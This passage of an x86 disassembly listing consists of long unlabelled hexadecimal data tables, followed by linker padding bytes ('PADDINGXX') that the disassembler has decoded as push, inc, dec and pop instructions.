		dd 1F19191Ch, 151F1B11h, 0A01031Eh, 0D070309h, 80A03h
		dd 0F060E0Ch, 272C2B0Ah, 101B2D29h, 1F161515h, 18131511h
		dd 1A161E1Eh, 801141Ch,	20E0505h, 90C04h, 0A060908h, 2E2A040Ch
		dd 1725272Bh, 1D141913h, 1315111Fh, 1C121218h, 0B1D1917h
		dd 40A0000h, 305010Fh, 60E0B0Fh, 2A040C0Ah, 252B2429h
		dd 12191317h, 1D111415h, 1A111B1Fh, 1518191Bh, 2090307h
		dd 0D010C0Dh, 0C010B0Fh, 804090Eh, 2E2C2729h, 151B1227h
		dd 14111F11h, 181E1217h, 1F181D10h, 60A19h, 6060D08h, 10B0F0Dh
		dd 0F09080Ah, 262E2C05h, 1B192627h, 141F1115h, 131E131Eh
		dd 1C17191Dh, 0B091F18h, 10F0105h, 0E020100h, 0F0E0008h
		dd 2E2C0507h, 182E2A26h, 1F11151Bh, 1A171014h, 17191D13h
		dd 0A1D1919h, 5080006h,	0F0D000Ch, 50A010Bh, 2C05070Fh
		dd 2A2F262Eh, 1810161Ah, 1D1E1617h, 1E111B1Fh, 1814141Fh
		dd 5040A02h, 0C04020Eh,	10F0C00h, 0E050F0Bh, 2927282Bh
		dd 1A161B2Dh, 14121E14h, 1911111Ch, 151F1B11h, 0B07091Eh
		dd 0D070309h, 0D0E0F06h, 50F0B01h, 2725230Eh, 101B2D29h
		dd 1F101417h, 18131511h, 17181B1Fh, 0B1D19h, 20E030Ah
		dd 0A0B0C04h, 60E0C00h,	2B22070Fh, 1B2D2927h, 1E111412h
		dd 191C1412h, 161F1A1Eh, 1141C1Ah, 6040805h, 0F060E0Eh
		dd 7090D03h, 210A0C0Eh,	2E252F2Bh, 19171011h, 161D1713h
		dd 1C101A19h, 181F161Eh, 4080901h, 1070E06h, 0C000D0Dh
		dd 0F08060Eh, 2C2A262Ah, 10141124h, 14121E17h, 1311191Ch
		dd 1C1A1619h, 2010714h,	0D070309h, 0B0B0Fh, 0F060E0Ch
		dd 272B2C06h, 151B2D29h, 121E1610h, 1C191C14h, 1A161A12h
		dd 901141Ch, 20E0402h, 0E000C04h, 0F0B0103h, 2A290E05h
		dd 1228242Fh, 1010171Ah, 1315111Fh, 1D1F1218h, 0B1D1917h
		dd 0E020A06h, 0D0C0402h, 0E0C0001h, 280E0806h, 242C2A26h
		dd 19111719h, 161D1713h, 111D1F1Fh, 1E151F1Bh, 9040500h
		dd 60D0703h, 1030109h, 9050F0Bh, 2927282Eh, 1A101B2Dh
		dd 111F1215h, 12181315h, 19171419h, 5000B1Dh, 4020E02h
		dd 0D0E090Ch, 0C0A060Fh, 2C2C2A04h, 13172526h, 16121219h
		dd 1B1F1D1Fh, 1B191911h, 0A021814h, 0D050203h, 20A000Ch
		dd 7040B0Eh, 2A200D09h,	1725272Dh, 1C121913h, 1F1D1310h
		dd 1C18111Bh, 218141Eh,	0C070A0Ah, 305010Fh, 0C0E0F08h
		dd 200D0907h, 252C2F24h, 12191317h, 1D141513h, 19111B1Fh
		dd 1D19171Eh, 103000Bh,	0C04020Eh, 1080A0Eh, 9050F0Bh
		dd 29272A2Ch, 12101B2Dh, 111F1614h, 1E181315h, 1C1A1612h
		dd 7020114h, 4020E0Bh, 0F0F0D0Ch, 50F0B01h, 2729220Bh
		dd 101B2D29h, 1F10171Ah, 1C131511h, 1A161319h, 301141Ch
		dd 20E0105h, 9090C04h, 0A06090Bh, 2D2A040Ch, 1725282Ah
		dd 12141913h, 1A101C13h, 1B191D12h, 0B1D1917h, 0C000400h
		dd 305010Fh, 0C020D08h,	200D0907h, 252A2925h, 1A191317h
		dd 101C111Ch, 1219121Ah, 1D191714h, 203000Bh, 5010F02h
		dd 0E030103h, 40C0A06h,	242A282Dh, 151A1228h, 111F1D11h
		dd 13181315h, 1917141Ch, 0B020B1Dh, 4020E06h, 308090Ch
		dd 0C0A0609h, 2D2B2D04h, 1A122824h, 10101113h, 121A101Ch
		dd 171F1919h, 90B1D19h,	20E0B03h, 0C0D0C04h, 0F0B010Ah
		dd 2E280605h, 1B2D2927h, 11111610h, 1315111Fh, 161E1A1Eh
		dd 7141C1Ah, 3090502h
		dd 9060D07h, 0B010F0Eh,	2E06050Fh, 2D292729h, 1716121Bh
		dd 1C14121Eh, 111E1C1Ch, 1E151F1Bh, 9060208h, 60D0703h
		dd 10A0E0Bh, 0E050F0Bh,	242E2F2Bh, 131A1228h, 1C151614h
		dd 19121A10h, 19171D1Bh, 1000B1Dh, 10F0300h, 0F0E0305h
		dd 0C0A0609h, 292C2A04h, 1317252Ah, 12151A19h, 121A101Ch
		dd 171C1819h, 40B1D19h,	20E0B04h, 90C04h, 0A060E0Fh, 252A040Ch
		dd 1725292Dh, 15121913h, 1F1D1210h, 1D1A111Bh, 7151A1Ah
		dd 6020903h, 0F0D050Dh,	50E010Bh, 200D0907h, 2D2A292Dh
		dd 1810161Ah, 101F1415h, 10181E12h, 151D1E1Bh, 0A090307h
		dd 0C0107h, 30E020Ah, 0D09070Ch, 2E2E2D20h, 10161A26h
		dd 16101218h, 111B1F1Dh, 1F15151Ah, 9030715h, 2020D02h
		dd 10B0F0Dh, 0E090D0Ah,	262E2C05h, 1B102627h, 131F1115h
		dd 1E121710h, 151D1018h, 60A1C1Ah, 7050800h, 0E020E01h
		dd 4040008h, 2E2C050Fh,	152B2F26h, 16141813h, 1A17171Eh
		dd 1E1C1010h, 9171D16h,	0F01050Bh, 204050Dh, 0D00080Eh
		dd 2108080Bh, 2E252F2Bh, 191A1310h, 161D1713h, 1C101D1Bh
		dd 1B19161Eh, 1050B00h,	20F040Fh, 80E02h, 909090Dh, 252F2B21h
		dd 1419182Eh, 1D171319h, 101B1114h, 1F161E1Ch, 809031Bh
		dd 30E0604h, 0D030E02h,	6040709h, 2F2B210Ah, 12192E25h
		dd 17131917h, 1A1D121Dh, 161E1C10h, 8061B1Fh, 0E060408h
		dd 30B0504h, 0C07090Dh,	26220F0Bh, 11242C2Ah, 1E101014h
		dd 191C1412h, 161A121Fh, 6141C1Ah, 6040804h, 0E0E070Eh
		dd 0E0C000Bh, 23080F06h, 2D292725h, 1017101Bh, 15111F1Ch
		dd 19131813h, 1D19171Bh, 20B050Bh, 0C04020Eh, 0D0A0909h
		dd 40C0A06h, 2B2A282Ah,	19131725h, 11161C12h, 111B1F1Dh
		dd 14181A1Fh, 30A0218h,	0C020401h, 0B020A00h, 4090E02h
		dd 25272908h, 161A2E2Dh, 14151810h, 1E121414h, 1B1D1018h
		dd 60A161Ah, 2060800h, 0B0F0D01h, 0B0A0801h, 27290804h
		dd 1A292A24h, 16181016h, 1F1D1E10h, 151A111Bh, 7151B14h
		dd 2020903h, 0F0D020Ch,	0C0A010Bh, 2C05060Dh, 262F262Eh
		dd 14181819h, 1F101E16h, 191D1310h, 1C1D1C17h, 800060Ah
		dd 0D0E0D06h, 0D010B0Fh, 804090Eh, 2E2C2729h, 19131725h
		dd 15121C12h, 111B1F1Dh, 19171D1Ch, 90B1Dh, 4020E07h, 0C090F0Ch
		dd 50F0B01h, 252B2F0Eh,	1A122824h, 1F111210h, 1D131511h
		dd 1A161F1Eh, 608141Ch,	0E060408h, 1000407h, 60E0C00h
		dd 2A2D0E0Fh, 1B2D2927h, 1E121110h, 1B1C1412h, 1B111B1Fh
		dd 21D151Fh, 6040803h, 0F00070Eh, 0E0C0009h, 2E0F0F06h
		dd 2D292725h, 171A121Bh, 1C14121Eh, 13121019h, 141C1A16h
		dd 90B0405h, 0F0D0703h,	0C000E0Bh, 0C0F060Eh, 29272E2Bh
		dd 17101B2Dh, 111F101Ah, 121A1315h, 1C1A1618h, 3070714h
		dd 0D070309h, 2000F06h,	50F0B01h, 27252209h, 161B2D29h
		dd 121E1B11h, 19191C14h, 1A16121Ch, 305141Ch, 7030907h
		dd 0E00060Dh, 0F0B010Ah, 2D2E0E05h, 12282424h, 1013131Ah
		dd 1A101C16h, 15191B12h, 0B1D1917h, 0E010A08h, 0C0402h
		dd 0B010C00h, 280A050Fh, 2D29272Bh, 1B14171Bh, 1C14121Eh
		dd 1113101Ah, 1C151F1Bh, 4080704h, 70E06h, 0C000E08h, 0B0F060Eh
		dd 2927292Dh, 12131B2Dh, 14121E17h, 1B1C1D1Ch, 151F1B11h
		dd 808041Bh, 20E0604h, 0D030801h, 0A0C0709h, 2A262C0Fh
		dd 1611242Ch, 121E1210h, 1C191C14h, 1F1B111Eh, 4091E15h
		dd 703090Ah, 90E060Dh, 0F0B010Fh, 2E290E05h, 12282425h
		dd 1111131Ah, 1A101C16h, 19131B12h, 218141Eh, 60A060Ah
		dd 305010Fh, 8020808h, 200D0907h, 2824242Dh, 14131A12h
		dd 101C1013h, 1B1B121Ah, 18141D19h, 1030A02h, 0C0402h
		dd 308020Ah, 0D09070Ah,	2F2C2D20h, 10161A2Bh, 16101518h
		dd 181E1216h, 1D1C1D10h, 60A17h, 0E070D08h, 10B0F0Dh, 4050F0Ah
		dd 2B272908h, 161A2F2Fh, 13151810h, 1E121211h, 1A181018h
		dd 307151Ah, 10D0209h, 0B0F0D00h, 0B0A0A01h, 27290804h
		dd 1A282F2Bh, 1C181016h, 1F1D1510h, 1F1D111Bh, 218141Ch
		dd 706060Ah, 305010Fh, 0B020908h, 200D0907h, 2826252Dh
		dd 1810161Ah, 1D16101Dh, 1A111B1Fh, 1814141Fh, 5030A02h
		dd 0C0705h, 302020Ah, 0D09070Ch, 2A282520h, 19131725h
		dd 17121712h, 111B1F1Dh, 1D1B1B1Ah, 9030715h, 0C00000Ah
		dd 0F020A00h, 9070C09h,	242D200Dh, 161A2928h, 15101810h
		dd 1B1F1D15h, 1D151311h, 0A021814h, 0F020205h, 0A030501h
		dd 0A060E0Ah, 2C2A040Ch, 17252F2Eh, 1D111913h, 1A101C16h
		dd 14131B12h, 2181419h,	204030Ah, 0A000C04h, 0B0B0B02h
		dd 29080405h, 2C282A27h, 1810161Ah, 11151115h, 10181E12h
		dd 15181A18h, 2090307h,	0D010205h, 0A010B0Fh, 50B050Fh
		dd 2F262E2Ch, 1814152Ah, 111E1614h, 1D131913h, 181C1719h
		dd 50B0418h, 3030F01h, 80E0204h, 0B0C0D00h, 2F2B210Ah
		dd 15162A25h, 1E161418h, 131E1F12h, 1917191Dh, 60A1617h
		dd 4050800h, 0E020501h,	40F0008h, 2E2C050Eh, 102B2A26h
		dd 1F11151Bh, 12111F12h, 1D10181Eh, 0A1E1F1Fh, 0C080006h
		dd 0F0D0E02h, 0C0A010Bh, 2C05070Dh, 2C29262Eh, 1810161Ah
		dd 1E101415h, 10181E12h, 15191B15h, 0B090307h, 0C04020Eh
		dd 0A030809h, 40C0A06h,	292B2E2Ah, 19131725h, 1C1D1C1Bh
		dd 1E121A10h, 1C1A161Ch, 2020214h, 0D070309h, 0B0B06h
		dd 0F060E0Ch, 272C2209h, 101B2D29h, 1F161010h, 11131511h
		dd 1A161B1Eh, 1141Ch, 20E0207h,	8090C04h, 0A060208h, 2F2A040Ch
		dd 17252D29h, 1D151913h, 1A101C16h, 1F121B12h, 2181419h
		dd 0E05000Ah, 0D0C0402h, 0B010A09h, 2C0B050Fh, 2D292724h
		dd 1515101Bh, 15111F1Ch, 121E1113h, 141C1A16h, 4060901h
		dd 0C04020Eh, 10B0D0Eh,	0E050F0Bh, 242F2C23h, 131A1228h
		dd 1C141714h, 1B121A10h, 141E181Ah, 50A0218h, 10F0106h
		dd 3080305h, 9070D0Eh, 282D200Dh, 161A262Bh, 17151810h
		dd 1E121216h, 1F1F1018h, 307151Ah, 30D0109h, 20A000Ch
		dd 0D0A0D0Bh, 27290804h, 14292C2Ch, 1F11151Bh, 1B1F1014h
		dd 17191D13h, 11A1D1Ch,	0F01050Bh, 205020Ch, 0D00080Eh
		dd 210A0908h, 2E252F2Bh, 191B1515h, 1F1D1713h, 191D1310h
		dd 15161B17h, 2090307h,	0D0E0D06h, 0A010B0Fh, 50A090Fh
		dd 2C262E2Ch, 151B172Eh, 11141F11h, 1D131A12h, 1A1C1719h
		dd 60A18h, 0F040208h, 10B0F0Dh,	40F0A0Ah, 2C272908h, 1B122826h
		dd 141F1115h, 13111510h, 1917191Dh, 60A1E1Ah, 0C050800h
		dd 0E020506h, 50D0008h,	2B210B09h, 1426252Fh, 16141818h
		dd 1C1E1F1Eh, 17191D13h, 0A171C1Bh, 5080006h, 2000503h
		dd 0D00080Eh, 210A0D0Bh, 2E252F2Bh, 14181714h, 1E171E16h
		dd 1C101C1Eh, 1F18161Eh, 1050B03h, 0F040Fh, 90D030Ah, 50A0507h
		dd 2F262E2Ch, 1812122Ch, 171E1614h, 101C1E17h, 1F161E1Ch
		dd 805081Bh, 70E0604h, 0C0800h,	0F060E0Ch, 272F2C06h, 181B2D29h
		dd 121E161Bh, 1B191C14h, 1A161D18h, 101141Ch, 20E060Bh
		dd 0D090C04h, 0A06090Ah, 242A040Ch
		dd 1725282Ah, 17121913h, 1F1D1711h, 181C111Bh, 218141Eh
		dd 106000Ah, 305010Fh, 0B020808h, 200D0907h, 2F2D292Dh
		dd 1810161Ah, 1E171115h, 10181E12h, 1D171B1Dh, 800060Ah
		dd 0D020205h, 0A010B0Fh, 507090Dh, 2F262E2Ch, 18171229h
		dd 171E1614h, 101C1A15h, 1F161E1Ch, 800051Fh, 70E0604h
		dd 80C07h, 0F060E0Ch, 2A262C0Dh, 1311242Ch, 17131917h
		dd 1B1A101Dh, 161E1C10h, 0B051E19h, 40F0105h, 3000E07h
		dd 0C07090Dh, 2623090Eh, 18242C2Ah, 13191614h, 1B161D17h
		dd 1B111D19h, 91A151Fh,	6040809h, 0F07070Eh, 7090D03h
		dd 21080C08h, 2D252F2Bh, 14181817h, 1F101E16h, 191D131Eh
		dd 1B1A1C17h, 1050B04h,	0E07040Fh, 90D0308h, 0C060C07h
		dd 2C2A2623h, 16191124h, 1D171319h, 181E1D16h, 151F1B11h
		dd 502091Eh, 0D070309h,	0D030000h, 60C0709h, 2A262D0Eh
		dd 1717242Ch, 17131917h, 1A11161Dh, 1F1B1118h, 5001B15h
		dd 0E060408h, 0E020105h, 0D0D0008h, 2B210E06h, 172E252Fh
		dd 13191018h, 11161D17h, 1B11121Fh, 116151Fh, 6040807h
		dd 0D02070Eh, 0E0C0001h, 2A0E0A06h, 242C2A26h, 11161011h
		dd 1C14121Eh, 1113111Eh, 1E151F1Bh, 9070906h, 0F0D0703h
		dd 0C000C0Ch, 0F0F060Eh, 2927252Ch, 12131B2Dh, 111F1512h
		dd 1C181315h, 19171B1Ch, 3070B1Dh, 4020E07h, 309090Ch
		dd 0C0A060Fh, 2C252C04h, 1A122824h, 1F1C1214h, 18131511h
		dd 171C1E12h, 0B1D19h, 0F0D030Ah, 0A030501h, 0A06020Eh
		dd 2C2A040Ch, 1228242Dh, 1616161Ah, 1315111Fh, 1B111E1Eh
		dd 719151Fh, 6040800h, 0A04070Eh, 0E0C0000h, 2C050806h
		dd 2F29262Eh, 11151B18h, 1F1E161Fh, 10181E12h, 161D1A1Dh
		dd 800060Ah, 0D000D0Ch,	0F010B0Fh, 8040C04h, 292E2729h
		dd 10161A2Ah, 151D1518h, 181E1215h, 1E181D10h, 60A1Ch
		dd 6020D08h, 10B0F0Dh, 0A08040Ah, 262E2C05h, 16172C2Fh
		dd 1E161418h, 13101210h, 1517191Dh, 60A1A1Dh, 5010800h
		dd 20A000Ch, 0F0B0F0Bh,	27290804h, 1A262628h, 12181016h
		dd 1A101C11h, 161E1212h, 1141C1Ah, 0E010104h, 10C0402h
		dd 0B01030Bh, 230D050Fh, 2D292728h, 121B101Bh, 15111F11h
		dd 1A181813h, 1D191714h, 200040Bh, 0C04020Eh, 10C0B0Ch
		dd 7050F0Bh, 2927292Ah,	17101B2Dh, 111F141Bh, 1D181315h
		dd 1917151Bh, 60B1Dh, 4020E02h,	20C090Ch, 50F0B01h, 2A262A0Bh
		dd 1111242Ch, 121E171Ah, 1A191C14h, 1A16181Ah, 601141Ch
		dd 20E0504h, 0A090C04h,	0A060D0Fh, 2F2A040Ch, 17252B29h
		dd 11121913h, 1F1D1417h, 181A111Bh, 7151718h, 5020903h
		dd 0F0D0307h, 0D0A010Bh, 2C050C05h, 2A2F262Eh, 14181713h
		dd 1E121E16h, 191D1318h, 181F1917h, 800060Ah, 0D050107h
		dd 2010B0Fh, 8040B0Ah, 292C2729h, 151B1228h, 1F141F11h
		dd 1D131C11h, 1E1F1719h, 50B001Fh, 0F040F01h, 0D030E02h
		dd 0A0F0709h, 2F2B2108h, 12132E25h, 17131913h, 1A1D151Dh
		dd 161E1C10h, 0B021D1Bh, 40F0105h, 0E020107h, 50D0008h
		dd 2B210607h, 162E252Fh, 13191012h, 1A161D17h, 1B11191Dh
		dd 818151Fh, 6040807h, 5070Eh, 0E0C000Eh, 2A0C0906h, 242C2A26h
		dd 12101811h, 1C14121Eh, 131F1F19h, 141C1A16h, 9050909h
		dd 60D0703h, 10A0900h, 0A050F0Bh, 29272E23h, 1A101B2Dh
		dd 111F161Bh, 1C1D1315h, 1C1A161Fh, 4050114h, 4020E01h
		dd 0E01090Ch, 0C0A060Bh, 2C2B2A04h, 13172527h, 16111219h
		dd 1B1F1D15h, 1B151D11h, 0A021814h, 20E0004h, 0B0C0C04h
		dd 0F0B0109h, 2F290E05h, 1228242Ch, 171A131Ah, 1A101C14h
		dd 1D1E1312h, 0B1D1917h, 2000400h, 305010Fh, 9020E08h
		dd 200D0907h, 25292C2Bh, 12191317h, 1D17171Ch, 1A111B1Fh
		dd 18141F15h, 3030A02h,	0C0201h, 0B0B020Ah, 8040A0Ah, 272A2729h
		dd 10161A2Bh, 1C151218h, 1E121A10h, 1917151Bh, 1050B1Dh
		dd 4020E00h, 0A090A0Ch,	0C0A060Eh, 29242A04h, 13172526h
		dd 16171219h, 1B1F1D16h, 18181911h, 0A021814h, 2020003h
		dd 20A000Ch, 0F04080Bh,	27290804h, 1827262Ch, 1F11151Bh
		dd 18141714h, 17191D13h, 51E1D1Ch, 0F01050Bh, 8000F04h
		dd 7090D03h, 210D0F0Fh,	29252F2Bh, 14181618h, 17141E16h
		dd 1C101A19h, 1D1F161Eh, 4080004h, 0F050E06h, 90D0309h
		dd 8090C07h, 2C2A2628h,	15171124h, 14121E15h, 181B1E1Ch
		dd 151F1B11h, 803061Dh,	0F0E0604h, 0D030C00h, 0B0C0709h
		dd 2A262F07h, 1019242Ch, 1713191Bh, 1D1C161Dh, 1F1B1113h
		dd 4001E15h, 7030901h, 0B08010Dh, 60E0C00h, 2B220F0Fh
		dd 1B2D2927h, 17151610h, 1315111Fh, 1B11121Bh, 41E151Fh
		dd 3090509h, 0F0E0D07h,	0E0C000Ch, 2D080F06h, 2D29272Ch
		dd 1311151Bh, 1C14121Eh, 1B1A1A19h, 141C1A16h, 90A0003h
		dd 10D0703h, 0C00010Fh,	0E0C060Eh, 2C2A262Ah, 13161524h
		dd 1D171319h, 1C1B1C16h, 151F1B11h, 805011Ch, 40E0604h
		dd 0D03000Eh, 40C0709h,	2C272908h, 1B142D2Dh, 141F1115h
		dd 13101415h, 1C17191Dh, 0B05191Bh, 20F0105h, 0E020E0Fh
		dd 0C0D0008h, 2B210C0Eh, 192E252Fh, 13191610h, 1D101D17h
		dd 1E1C1011h, 8191F16h,	6040807h, 0B07030Eh, 7090D03h
		dd 210C0D0Fh, 2E252F2Bh, 19141218h, 161D1713h, 111B181Fh
		dd 1B151F1Bh, 4080605h,	0E070E06h, 0C00010Bh, 0C0F060Eh
		dd 29272A2Ah, 14131B2Dh, 14121E15h, 1E1E191Ch, 1C1A161Fh
		dd 30414h, 0D070309h, 0C0005h, 0A060E0Ch, 2A262E07h, 1511242Ch
		dd 121E1517h, 1C191C14h, 1A161313h, 207141Ch, 7030904h
		dd 90B010Dh, 60E0C00h, 2C2E080Fh, 1B2D2927h, 1D141610h
		dd 1315111Fh, 161D1E1Dh, 9141C1Ah, 6040801h, 0F01070Eh
		dd 0E0C0001h, 2C0C0F06h, 2D29272Fh, 1A1A161Bh, 1C14121Eh
		dd 1D1D1E19h, 141C1A16h, 4010001h, 0C04020Eh, 30D0B09h
		dd 40C0A06h, 2A2C2A2Ah,	19131725h, 1E171512h, 111B1F1Dh
		dd 141D1D1Ah, 30A0218h,	10F0404h, 0E080305h, 0C0A060Fh
		dd 292A2A04h, 1317252Dh, 131C1219h, 1B1F1D17h, 1F1A1311h
		dd 0A021814h, 0F0C030Ah, 0A030501h, 0A060D03h, 252F040Ch
		dd 1228242Eh, 1311131Ah, 1A101C15h, 18181C12h, 0B1D1917h
		dd 3090006h, 8000D07h, 0E0C0000h, 230E0F06h, 2D29272Fh
		dd 1B13101Bh, 15111F13h, 121D1813h, 141C1A16h, 3040101h
		dd 0C04020Eh, 0E0C0B09h, 40C0A06h, 242E2429h, 131A1228h
		dd 1C141516h, 1B121A10h, 19171E13h, 0B030B1Dh, 4020E06h
		dd 0D0D0C0Ch, 50F0B01h,	2C2D2A0Eh, 1A122824h, 1C111A13h
		dd 121A101Ch, 1718191Bh, 30B1D19h, 20E0706h, 0C090C04h
		dd 0A060208h, 242F040Ch, 12282424h, 121A1B1Ah, 1315111Fh
		dd 1B111E10h, 917151Fh,	6040806h, 1040F0Eh, 7090D03h, 2B0E090Ch
		dd 242C2A26h, 19121411h, 151D1713h, 111E1918h, 18151F1Bh
		dd 4080505h, 5040E06h, 90D030Fh, 50F0407h, 27262E2Ch, 151B1827h
		dd 16141F11h, 1D131A15h, 1A1C1719h, 50B041Dh, 0F030F01h
		dd 10B0F0Dh, 404080Ch, 2C272908h, 161A2F2Dh, 10151810h
		dd 1E121711h
		dd 181A1018h, 307151Fh,	2060009h, 20A000Ch, 80A030Bh, 27290804h
		dd 10272C2Ch, 1F11151Bh, 12101E11h, 1D10181Eh, 0A1E1719h
		dd 5080006h, 0F0D0704h,	0B0A010Bh, 2C050C0Fh, 2C2F262Eh
		dd 14181714h, 10171E16h, 1C101D10h, 1D1F161Eh, 4080209h
		dd 4070E06h, 0C00000Ch,	0B0F060Eh, 29272429h, 16121B2Dh
		dd 14121E14h, 181F191Ch, 1C1A161Bh, 8000314h, 70E0604h
		dd 90A03h, 0F060E0Ch, 272F2B06h, 181B2D29h, 121E1216h
		dd 191E1C14h, 1F1B111Dh, 31E15h, 7030906h, 0A0B060Dh, 0F0B010Eh
		dd 242A0D05h, 1B2D2927h, 1D171B10h, 1315111Fh, 1A121218h
		dd 0B1D1917h, 0E060705h, 90C0402h, 60C0E0Dh, 28040C0Ah
		dd 28242B2Fh, 14131A12h, 101C1215h, 1B1B121Ah, 18141B14h
		dd 6000A02h, 5010F00h, 0D0B0803h, 0D090704h, 2E2C2D20h
		dd 10161A2Ah, 17151518h, 181E1211h, 1B1F1D10h, 60A16h
		dd 30208h, 10B0F0Dh, 40F0B02h, 29272908h, 161A2C2Fh, 1D151810h
		dd 1E121F1Fh, 1C141018h, 307151Ah, 0C000209h, 0B0F0D0Fh
		dd 0D090A01h, 2E2C050Bh, 10282D26h, 1F11151Bh, 12161E14h
		dd 1D10181Eh, 0A1C1B1Ch, 6080006h, 305010Fh, 60C090Ah
		dd 2A040C0Ah, 25262C29h, 17191317h, 101C1C16h, 191B121Ah
		dd 1814141Ch, 7030A02h,	0C0C04h, 20B020Ah, 804050Eh, 292C2729h
		dd 151B172Ah, 17141F11h, 1D131A11h, 171C1719h, 50B0918h
		dd 30F01h, 80E020Eh, 0C0F0D00h,	262E2C05h, 1B132B2Ch, 141F1115h
		dd 131E1317h, 1517191Dh, 60A1F1Eh, 5000800h, 0B0F0D06h
		dd 50B0201h, 27290804h,	18262A2Ch, 1F11151Bh, 12121514h
		dd 1E10181Eh, 7151E1Ch,	0C020903h, 0F0D0F01h, 0B0A010Bh
		dd 2C050A0Eh, 292F262Eh, 14181215h, 1F141E16h, 191D131Fh
		dd 17191C17h, 1050B01h,	0D04030Fh, 0A010B0Fh, 50A0D0Dh
		dd 2D262E2Ch, 151B172Fh, 1E141F11h, 1D131B16h, 1C1C1719h
		dd 50B091Bh, 0E040F01h,	0D030E07h, 0A0A0709h, 2F2B210Bh
		dd 12172925h, 1E161418h, 1E1F1217h, 161E1C10h, 500191Fh
		dd 0E060408h, 30A0100h,	0C07090Dh, 26290707h, 18242C2Ah
		dd 13191010h, 1F131D17h, 1E1C101Eh, 61D1B16h, 0F01050Bh
		dd 2010703h, 0D00080Eh,	210C090Fh, 2E252F2Bh, 19121714h
		dd 1F1D1713h, 1C101A1Ch, 1A1F161Eh, 4080408h, 0E000E06h
		dd 90D030Fh, 6060F07h, 252F2B21h, 1810192Ah, 1F1E1614h
		dd 1D131016h, 161C1719h, 50B0718h, 4020F01h, 80E020Fh
		dd 0E090900h, 262E2C05h, 13142D2Fh, 1E161418h, 13181F1Fh
		dd 1C17191Dh, 0B04171Fh, 40F0105h, 3090102h, 0C07090Dh
		dd 2B21080Bh, 182E252Fh, 13191610h, 10161D17h, 1B11181Bh
		dd 51E151Fh, 3090A03h, 0E0F0D07h, 7090D03h, 2E0D0B0Ch
		dd 242C2A26h, 19101518h, 161D1713h, 111C1111h, 1E151F1Bh
		dd 9070909h, 60D0703h, 1030A0Dh, 0E050F0Bh, 24292E23h
		dd 131A1228h, 1C131711h, 1E121A10h, 19171A18h, 2000B1Dh
		dd 10F0404h, 0F0B0305h,	0C0A060Ch, 242B2804h, 1A122824h
		dd 14131213h, 121A101Ch, 17151E12h, 0B1D19h, 0F030002h
		dd 8030501h, 70A0D08h, 29200D09h, 17252D2Ah, 16111913h
		dd 1A101C1Dh, 181C1C12h, 0B1D1917h, 0E050107h, 90C0402h
		dd 60D0B00h, 2A040C0Ah,	252C292Fh, 12191317h, 1D131115h
		dd 13111B1Fh, 18141D1Fh, 0A0B0A02h, 5010F0Ch, 8090A03h
		dd 40C0A06h, 2A2E2A2Ah,	19131725h, 17151312h, 111B1F1Dh
		dd 1D14181Ah, 9030715h,	10102h,	10B0F0Dh, 60C0F0Ah, 262E2C05h
		dd 1410262Fh, 1E161418h, 1D1A1517h, 161E1C10h, 4031B1Fh
		dd 0E060408h, 3090104h,	807090Dh, 2B210806h, 152E252Fh
		dd 13191A19h, 19141D17h, 1E1C1010h, 31D1716h, 0F01050Bh
		dd 2050207h, 0A00080Eh,	2C050D0Eh, 2E2F262Eh, 14181416h
		dd 17171E16h, 1C101E1Ah, 1A17161Eh, 1050B06h, 502040Fh
		dd 90D030Bh, 0E0E0C07h,	2C2A262Bh, 17141124h, 14121E15h
		dd 1F1D191Ch, 1C1A1618h, 6040114h, 4020E04h, 80E0D0Ch
		dd 50F0B01h, 24282B0Eh,	1A122824h, 121E1311h, 11191C14h
		dd 1A161B1Ch, 1141Ch, 20E0404h,	0C0F0C04h, 0F0B010Bh, 24280E05h
		dd 12282429h, 111B131Ah, 1A101C14h, 1F1D1212h, 0B1D1917h
		dd 0C020B00h, 305010Fh,	60E0D08h, 22040C0Ah, 2824252Ah
		dd 15131A12h, 101C1C15h, 1E1B121Ah, 18141D1Dh, 6030A02h
		dd 0C0D04h, 0F09020Ah, 0D09070Dh, 2A242D20h, 10161A2Fh
		dd 15101518h, 181E1212h, 44415010h, 10h	dup(0)
		dd 4A5A4900h, 1Ah dup(0)
		dd 5D000000h, 574D4126h, 7F515549h, 4C454454h, 77595B4Dh
		dd 0F594862h, 58515060h, 17515B5Dh, 534E5C75h, 4F625953h
		dd 266B7569h, 527D102Dh, 1E534D51h, 59751815h, 56480258h
		dd 4Ah,	1035h dup(0)
		dd 3, 9	dup(0)
		dd 1Bh,	0
		dd 3Fh,	0
		dd 101h, 0
; ---------------------------------------------------------------------------
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		pop	eax
		pop	eax
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
		dec	esi
		inc	edi
		push	eax
		inc	ecx
		inc	esp
		inc	esp
		dec	ecx
